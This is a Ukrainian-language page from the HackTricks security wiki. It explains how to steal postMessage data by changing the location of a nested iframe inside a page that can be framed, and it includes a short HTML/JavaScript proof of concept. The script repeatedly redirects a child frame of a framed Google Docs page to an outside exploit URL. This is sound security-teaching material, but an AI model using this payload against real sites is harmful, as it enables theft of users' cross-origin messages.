Вкрасти postmessage, змінюючи місцезнаходження iframe
Reading time: 2 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Зміна місцезнаходжень дочірніх iframe
Згідно з цією статтею, якщо ви можете вставити веб-сторінку в iframe без X-Frame-Header, яка містить інший iframe, ви можете змінити місцезнаходження цього дочірнього iframe.
Наприклад, якщо abc.com має efg.com як iframe, а abc.com не має заголовка X-Frame, я міг би змінити efg.com на evil.com з іншого походження, використовуючи frames.location
.
Це особливо корисно в postMessages, оскільки якщо сторінка надсилає чутливі дані, використовуючи доменне ім'я на кшталт windowRef.postmessage("","*")
, можливо змінити місцезнаходження відповідного iframe (дочірнього або батьківського) на місцезнаходження, контрольоване зловмисником, і вкрасти ці дані.
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
//pseudo code
setTimeout(function () {
exp()
}, 6000)
function exp() {
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
setInterval(function () {
window.frames[0].frame[0][2].location =
"https://geekycat.in/exploit.html"
}, 100)
}
</script>
</html>
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.